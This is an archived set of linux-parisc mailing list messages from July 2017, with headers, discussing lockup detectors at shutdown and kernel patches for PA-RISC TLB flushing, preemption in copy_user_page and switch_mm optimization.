Date: Tue, 25 Jul 2017 22:00:35 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <73bd7969-af81-daa2-781e-5ff580311dbe@gmx.de>
References: <20170725194141.GA14760@p100.box>
 <5403864.sYzayCyLUt@daneel.sf-tec.de>
 <d015022e-2ecd-889f-7466-348fa2c230a6@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1501012904 12304 195.159.176.226 (25 Jul 2017 20:01:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 25 Jul 2017 20:01:44 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.8.0
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
        John David Anglin <dave.anglin@bell.net>
To: Rolf Eike Beer <eike-kernel@sf-tec.de>,
        linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 25 22:01:40 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1da61S-00022O-9Z
	for glpp-linux-parisc@m.gmane.org; Tue, 25 Jul 2017 22:01:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753437AbdGYUBL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 25 Jul 2017 16:01:11 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:52803 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752812AbdGYUBK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 25 Jul 2017 16:01:10 -0400
Original-Received: from [192.168.20.60] ([193.159.17.88]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0M4nM5-1do53g0kCz-00yzop; Tue, 25
 Jul 2017 22:00:37 +0200
In-Reply-To: <d015022e-2ecd-889f-7466-348fa2c230a6@gmx.de>
X-Provags-ID: V03:K0:c8aVE4/Z9ozAnX1oqEwD4rabn6SO4Zl2TGrhHjZXn7m/Y0olQ1A
 L4qqQNeFpc+uvgIptkSaGfbz97Q9E9jh1l4E1wUTaYmTm3INC0TtrYJIl/P9TDOKeJB1xCI
 KIvO68t1QeN1eHKyBqNuJPmr2w/93AaKQdbu2KhRDBj66CHss9/WRQUCTL7qK6Ul/B3C5Sx
 lGppWOhohFbJJufLe/SuA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Vac9y8wYHEc=:NOzbUIWMv649byWOHSZMoZ
 llJ5IknlIgtory70xqvIz9EcMMwGNVGMwzQ7aBnstOopYZsnEaKh4ieJn8D3ZKF991TLO+pms
 rtwaO6EyS8NNKk/zZWMX+NLHZcdoGtxPYxDIPs1lf74HD5StEHRbGpq856Ote3u9dKOZRvwsk
 K47H8sjRXvo1Pi9X4AFjuTDWZQAvOEy1m9QwRZFeM1ePt4gFO/Sb1CtKIBZTjROrVKAYhdxuN
 k60pfo33+MgDLr3/zPSYc7QiA1bnHdWCJ7GZCA3qOdYBcilFcI9B/pHUCpoqdrDvMqMFPj/0e
 KU9uKbDtj/ki0Sw0ty05VIaqPcsAfSM/zWve1dIP5ABz/lHMnzbTUHBjrdabefvFR1aaD0ptL
 7jjRP/R1wmwd77VF/LyKnLM0Gw4ncd8tj6mtJeL1ZYHwmQWNSrwZy332atoFdCHiiBYuQbshn
 o9+Xu5pj+Nncawf+IMh/JLyoVS3EEyAm5+dTVASLG2IwlHIhigyek1G4JTkQg/OaLaD0DEODM
 B4ZKDiB1xkvam9NgPIZsCBkUrAnfBA2hHPUbxWNiqPjaf3ObnkR6x0sbbPgGUhd9GOOg8LbJq
 Hvof6tZu1xfzqFdZ3TnzR6M57Mxp6kStGj8ZniFJtnVMUNhtLwywIWwzjBXnc2//09yt/KcFY
 GAZebCOGNs2nq1sKMtRrQEzCO+Bktlb4Z2nmYBx6K1a8wEv0D6pG33SpE8nOVntjd/osm0ak7
 lYC+S62SoruGpk02aiLE/UJ9RW4lqNp+UjhTmPgKolrMlmTZ58fmJ/MRoMBO9jRKRZVZMcNj 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27588
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27588>

On 25.07.2017 21:55, Helge Deller wrote:
> On 25.07.2017 21:47, Rolf Eike Beer wrote:
>> Helge Deller wrote:
>>> Some machines can't power off the machine, so disable the lockup detectors
>>> to avoid this watchdog BUG to show up every few seconds:
>>> watchdog: BUG: soft lockup - CPU#0 stuck for 22s! [systemd-shutdow:1]
>>
>> I don't think HPPA is the only architecture that has this problem,
> 
> Maybe.
> I haven't heard of others yet, probably because most other architectures
> do power off themselves, so they won't see this problem.
> 
>> so isn't there a generic solution? Or: is it time to add one?
> 
> Sure, you are welcome to test, post and discuss patches upstream if you like.

By the way, I still see another lockup once (workqueue lockup) even after this patch.
In general it seems most lockup detectors don't unregister themselves in the
poweroff/shutdown phase (which might be intentional):  

[  123.664431] BUG: workqueue lockup - pool cpus=0 node=0 flags=0x0 nice=0 stuck for 36s!
[  123.857429] Showing busy workqueues and worker pools:
[  123.917919] workqueue events: flags=0x0
[  123.963830]   pwq 0: cpus=0 node=0 flags=0x0 nice=0 active=1/256                 
[  123.967817]     pending: vmstat_shepherd                                         
[  124.082949] workqueue events_freezable: flags=0x4                                
[  124.139364]   pwq 0: cpus=0 node=0 flags=0x0 nice=0 active=1/256                 
[  124.143350]     pending: pci_pme_list_scan                                       
[  124.260448] workqueue events_power_efficient: flags=0x80
[  124.324059]   pwq 0: cpus=0 node=0 flags=0x0 nice=0 active=1/256
[  124.328045]     pending: neigh_periodic_work
[  124.447237] workqueue mm_percpu_wq: flags=0x8
[  124.499488]   pwq 0: cpus=0 node=0 flags=0x0 nice=0 active=1/256
[  124.510543]     pending: vmstat_update
[  124.616432] workqueue mpt_poll_1: flags=0x8
[  124.666595]   pwq 0: cpus=0 node=0 flags=0x0 nice=0 active=1/256
[  124.673079]     pending: mpt_fault_reset_work

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Suspend lockup detectors before system halt
Date: Tue, 25 Jul 2017 22:01:34 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <2651830.be6NMSIgim@daneel.sf-tec.de>
References: <20170725194141.GA14760@p100.box> <5403864.sYzayCyLUt@daneel.sf-tec.de> <d015022e-2ecd-889f-7466-348fa2c230a6@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart12833711.hfPd7gA7iN"; micalg="pgp-"; protocol="application/pgp-signature"
X-Trace: blaine.gmane.org 1501012910 13554 195.159.176.226 (25 Jul 2017 20:01:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 25 Jul 2017 20:01:50 +0000 (UTC)
User-Agent: KMail/4.14.10 (Linux/4.12.3-2.g880dbd7-default; KDE/4.14.25; x86_64; ; )
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
        John David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 25 22:01:47 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1da61R-00022O-6U
	for glpp-linux-parisc@m.gmane.org; Tue, 25 Jul 2017 22:01:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753700AbdGYUBn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 25 Jul 2017 16:01:43 -0400
Original-Received: from mail.sf-mail.de ([78.47.74.12]:53823 "EHLO mail.sf-mail.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753039AbdGYUBl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 25 Jul 2017 16:01:41 -0400
Original-Received: (qmail 29156 invoked from network); 25 Jul 2017 20:01:40 -0000
Original-Received: from p200300c083e7ba13e6b318fffea08d27.dip0.t-ipconnect.de ([2003:c0:83e7:ba13:e6b3:18ff:fea0:8d27]:42432 HELO daneel.sf-tec.de) (auth=eike@sf-mail.de)
        by mail.sf-mail.de (Qsmtpd 0.34dev) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
        for <linux-parisc@vger.kernel.org>; Tue, 25 Jul 2017 22:01:40 +0200
In-Reply-To: <d015022e-2ecd-889f-7466-348fa2c230a6@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27589
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27589>

--nextPart12833711.hfPd7gA7iN
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Helge Deller wrote:
> On 25.07.2017 21:47, Rolf Eike Beer wrote:
> > Helge Deller wrote:
> >> Some machines can't power off the machine, so disable the lockup
> >> detectors
> >> to avoid this watchdog BUG to show up every few seconds:
> >> watchdog: BUG: soft lockup - CPU#0 stuck for 22s! [systemd-shutdow:1]
> > 
> > I don't think HPPA is the only architecture that has this problem,
> 
> Maybe.
> I haven't heard of others yet, probably because most other architectures
> do power off themselves, so they won't see this problem.
> 
> > so isn't there a generic solution? Or: is it time to add one?
> 
> Sure, you are welcome to test, post and discuss patches upstream if you
> like. It's not a very critical issue, so I can wait with pushing my patch.

I wont be able to do anything like that this week (maybe longer), so please go 
ahead with your patch to get rid of the annoying warning. Cleanups later.

Eike

--nextPart12833711.hfPd7gA7iN
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iEYEABECAAYFAll3o6MACgkQXKSJPmm5/E7SxwCfR8ldYOoCYzOyFH8Sg2BiXw/L
Eo8Ani+1ffhpzNiHRRGsBlpNcXqpSGzP
=tm8q
-----END PGP SIGNATURE-----

--nextPart12833711.hfPd7gA7iN--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Prevent TLB speculation on flushed pages on CPUs that only support equivalent aliases
Date: Tue, 25 Jul 2017 17:11:26 -0400
Lines: 130
Approved: news@gmane.org
Message-ID: <71EB19D6-E071-42AE-A338-A0D600EEE627@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-38-871360738
X-Trace: blaine.gmane.org 1501017099 14524 195.159.176.226 (25 Jul 2017 21:11:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 25 Jul 2017 21:11:39 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 25 23:11:34 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1da771-0002zs-8R
	for glpp-linux-parisc@m.gmane.org; Tue, 25 Jul 2017 23:11:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752186AbdGYVLc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 25 Jul 2017 17:11:32 -0400
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:60427 "EHLO
        torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1752145AbdGYVL3 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 25 Jul 2017 17:11:29 -0400
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20170725211127.BYLH14026.torfep01.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 25 Jul 2017 17:11:27 -0400
Original-Received: from [192.168.2.25] (really [70.31.74.123]) by torspm02.bell.net
          with ESMTP
          id <20170725211127.MQCR23640.torspm02.bell.net@[192.168.2.25]>;
          Tue, 25 Jul 2017 17:11:27 -0400
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=ActeJzfG c=1 sm=0 tr=0 a=CP4CeFkTTpGPfaygvaSIJA==:17 a=G3gG6ho9WtcA:10 a=y7chnbD_AAAA:8 a=DLV23wSTzonCuWxrG70A:9 a=CjuIK1q_8ugA:10 a=CxMdbk7o4uYj1uhPzOUA:9 a=Ld372NDzu18A:10 a=FBHGMhGWAAAA:8 a=CTwWI_8SlGQyalyz8_QA:9 a=ATlVsGG5QSsA:10 a=lhz_U0R9uZa6jetOpQ8g:22 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27590
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27590>


--Apple-Mail-38-871360738
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

Helge noticed that we flush the TLB page in flush_cache_page but not in =
flush_cache_range
or flush_cache_mm.

For a long time, we have had random segmentation faults building =
packages on machines with
PA8800/8900 processors.  These machines only support equivalent aliases. =
 We don't see these
faults on machines that don't require strict coherency.  So, it appears =
TLB speculation sometimes
leads to cache corruption on machines that require coherency.

This patch adds TLB flushes to flush_cache_range and flush_cache_mm when =
coherency is
required.  We only flush the TLB in flush_cache_page when coherency is =
required.

The patch also optimizes flush_cache_range.  It turns out we always have =
the right context
to use flush_user_dcache_range_asm and flush_user_icache_range_asm.

The patch has been tested for some time on rp3440, rp3410 and A500-44.  =
It's been boot tested
on c8000.  No random segmentation faults were observed during testing.

Signed-off-by: John David Anglin <dave.anglin@gell.net>



--Apple-Mail-38-871360738
Content-Disposition: attachment;
	filename=cache-tlb.d.txt
Content-Type: text/plain;
	name="cache-tlb.d.txt"
Content-Transfer-Encoding: quoted-printable

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index c32a09095216..85a92db70afc 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -539,6 +539,10 @@ void flush_cache_mm(struct mm_struct *mm)
 	struct vm_area_struct *vma;
 	pgd_t *pgd;
=20
+	/* Flush the TLB to avoid speculation if coherency is required. =
*/
+	if (parisc_requires_coherency())
+		flush_tlb_all();
+
 	/* Flushing the whole cache on each cpu takes forever on
 	   rp3440, etc.  So, avoid it if the mm isn't too big.  */
 	if (mm_total_size(mm) >=3D parisc_cache_flush_threshold) {
@@ -577,33 +581,22 @@ void flush_cache_mm(struct mm_struct *mm)
 void flush_cache_range(struct vm_area_struct *vma,
 		unsigned long start, unsigned long end)
 {
-	unsigned long addr;
-	pgd_t *pgd;
-
 	BUG_ON(!vma->vm_mm->context);
=20
+	/* Flush the TLB to avoid speculation if coherency is required. =
*/
+	if (parisc_requires_coherency())
+		flush_tlb_range(vma, start, end);
+
 	if ((end - start) >=3D parisc_cache_flush_threshold) {
 		flush_cache_all();
 		return;
 	}
=20
-	if (vma->vm_mm->context =3D=3D mfsp(3)) {
-		flush_user_dcache_range_asm(start, end);
-		if (vma->vm_flags & VM_EXEC)
-			flush_user_icache_range_asm(start, end);
-		return;
-	}
+	BUG_ON(vma->vm_mm->context !=3D mfsp(3));
=20
-	pgd =3D vma->vm_mm->pgd;
-	for (addr =3D start & PAGE_MASK; addr < end; addr +=3D =
PAGE_SIZE) {
-		unsigned long pfn;
-		pte_t *ptep =3D get_ptep(pgd, addr);
-		if (!ptep)
-			continue;
-		pfn =3D pte_pfn(*ptep);
-		if (pfn_valid(pfn))
-			__flush_cache_page(vma, addr, PFN_PHYS(pfn));
-	}
+	flush_user_dcache_range_asm(start, end);
+	if (vma->vm_flags & VM_EXEC)
+		flush_user_icache_range_asm(start, end);
 }
=20
 void
@@ -612,7 +605,8 @@ flush_cache_page(struct vm_area_struct *vma, =
unsigned long vmaddr, unsigned long
 	BUG_ON(!vma->vm_mm->context);
=20
 	if (pfn_valid(pfn)) {
-		flush_tlb_page(vma, vmaddr);
+		if (parisc_requires_coherency())
+			flush_tlb_page(vma, vmaddr);
 		__flush_cache_page(vma, vmaddr, PFN_PHYS(pfn));
 	}
 }

--Apple-Mail-38-871360738
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=us-ascii



--
John David Anglin	dave.anglin@bell.net

--Apple-Mail-38-871360738--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Extend disabled preemption in copy_user_page
Date: Tue, 25 Jul 2017 17:23:35 -0400
Lines: 54
Approved: news@gmane.org
Message-ID: <79E317F6-20E4-4ACE-BB0D-72D628BD3467@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-45-872089055
X-Trace: blaine.gmane.org 1501017821 15294 195.159.176.226 (25 Jul 2017 21:23:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 25 Jul 2017 21:23:41 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 25 23:23:37 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1da7Ik-0003aq-GK
	for glpp-linux-parisc@m.gmane.org; Tue, 25 Jul 2017 23:23:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751565AbdGYVXj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 25 Jul 2017 17:23:39 -0400
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:54350 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1752502AbdGYVXh (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 25 Jul 2017 17:23:37 -0400
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20170725212335.BOVQ11720.torfep02.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 25 Jul 2017 17:23:35 -0400
Original-Received: from [192.168.2.25] (really [70.31.74.123]) by torspm01.bell.net
          with ESMTP
          id <20170725212335.NCCA32108.torspm01.bell.net@[192.168.2.25]>;
          Tue, 25 Jul 2017 17:23:35 -0400
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=e4fpceh/ c=1 sm=0 tr=0 a=CP4CeFkTTpGPfaygvaSIJA==:17 a=G3gG6ho9WtcA:10 a=FBHGMhGWAAAA:8 a=XRnlUAmB2C0YL8iAtEgA:9 a=CjuIK1q_8ugA:10 a=ATlVsGG5QSsA:10 a=DBn81nEWVeH-rxyFwC8A:9 a=Ld372NDzu18A:10 a=CTwWI_8SlGQyalyz8_QA:9 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27591
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27591>


--Apple-Mail-45-872089055
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

It's always bothered me that we only disable preemption in =
copy_user_page around the
call to flush_dcache_page_asm.  This patch extends this to after the =
copy.

Signed-off-by: John David Anglin <dave.anglin@bell.net>



--Apple-Mail-45-872089055
Content-Disposition: attachment;
	filename=cache-preempt.d.txt
Content-Type: text/plain;
	name="cache-preempt.d.txt"
Content-Transfer-Encoding: quoted-printable

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index c32a09095216..85a92db70afc 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -453,8 +453,8 @@ void copy_user_page(void *vto, void *vfrom, unsigned =
long vaddr,
 	  before it can be accessed through the kernel mapping. */
 	preempt_disable();
 	flush_dcache_page_asm(__pa(vfrom), vaddr);
-	preempt_enable();
 	copy_page_asm(vto, vfrom);
+	preempt_enable();
 }
 EXPORT_SYMBOL(copy_user_page);
=20

--Apple-Mail-45-872089055
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=us-ascii



--
John David Anglin	dave.anglin@bell.net

--Apple-Mail-45-872089055--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Optimize switch_mm
Date: Tue, 25 Jul 2017 17:31:41 -0400
Lines: 55
Approved: news@gmane.org
Message-ID: <16F63B59-7A36-48F0-A5C7-670CA2ED9DED@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-51-872574821
X-Trace: blaine.gmane.org 1501018306 10024 195.159.176.226 (25 Jul 2017 21:31:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 25 Jul 2017 21:31:46 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 25 23:31:42 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1da7QZ-0001qs-2c
	for glpp-linux-parisc@m.gmane.org; Tue, 25 Jul 2017 23:31:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751110AbdGYVbn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 25 Jul 2017 17:31:43 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:49524 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1750857AbdGYVbm (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 25 Jul 2017 17:31:42 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20170725213141.NDMT19115.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 25 Jul 2017 17:31:41 -0400
Original-Received: from [192.168.2.25] (really [70.31.74.123]) by mtlspm02.bell.net
          with ESMTP
          id <20170725213141.JYQW14758.mtlspm02.bell.net@[192.168.2.25]>;
          Tue, 25 Jul 2017 17:31:41 -0400
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=LoB98jVc c=1 sm=0 tr=0 a=CP4CeFkTTpGPfaygvaSIJA==:17 a=G3gG6ho9WtcA:10 a=FBHGMhGWAAAA:8 a=Nmc4uQoqCnoAKsTWhTcA:9 a=CjuIK1q_8ugA:10 a=ATlVsGG5QSsA:10 a=1LP3YPDXPbz0WqG8weUA:9 a=Ld372NDzu18A:10 a=CTwWI_8SlGQyalyz8_QA:9 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27592
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27592>


--Apple-Mail-51-872574821
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

We only need to switch contexts when prev !=3D next, and we don't need =
to disable interrupts
to do the check.

Signed-off-by: John David Anglin <dave.anglin@bell.net>



--Apple-Mail-51-872574821
Content-Disposition: attachment;
	filename=mmu_context.h.d.txt
Content-Type: text/plain;
	name="mmu_context.h.d.txt"
Content-Transfer-Encoding: quoted-printable

diff --git a/arch/parisc/include/asm/mmu_context.h =
b/arch/parisc/include/asm/mmu_context.h
index a81226257878..b1dc6e3f0dd0 100644
--- a/arch/parisc/include/asm/mmu_context.h
+++ b/arch/parisc/include/asm/mmu_context.h
@@ -49,26 +49,19 @@ static inline void load_context(mm_context_t =
context)
 	mtctl(__space_to_prot(context), 8);
 }
=20
-static inline void switch_mm_irqs_off(struct mm_struct *prev,
+static inline void switch_mm(struct mm_struct *prev,
 		struct mm_struct *next, struct task_struct *tsk)
 {
+	unsigned long flags;
+
 	if (prev !=3D next) {
+		local_irq_save(flags);
 		mtctl(__pa(next->pgd), 25);
 		load_context(next->context);
+		local_irq_restore(flags);
 	}
 }
=20
-static inline void switch_mm(struct mm_struct *prev,
-		struct mm_struct *next, struct task_struct *tsk)
-{
-	unsigned long flags;
-
-	local_irq_save(flags);
-	switch_mm_irqs_off(prev, next, tsk);
-	local_irq_restore(flags);
-}
-#define switch_mm_irqs_off switch_mm_irqs_off

From - Thu Nov 08 21:40:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Optimize switch_mm
Date: Wed, 26 Jul 2017 20:02:52 +0200
Lines: 69
Approved: news@gmane.org
Message-ID: <20170726180252.GA1129@p100.box>
References: <16F63B59-7A36-48F0-A5C7-670CA2ED9DED@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1501092230 1606 195.159.176.226 (26 Jul 2017 18:03:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Jul 2017 18:03:50 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: John David Anglin <dave.anglin@bell.net>,
        linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 26 20:03:45 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1daQev-0007sw-5j
	for glpp-linux-parisc@m.gmane.org; Wed, 26 Jul 2017 20:03:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
